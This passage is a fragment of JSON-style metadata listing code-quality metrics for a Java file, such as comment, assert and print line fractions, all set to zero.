"qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codejava_cate_var_zero": 0, "qsc_codejava_frac_lines_func_ratio": 0, "qsc_codejava_score_lines_no_logic": 0, "qsc_codejava_frac_lines_print": 0}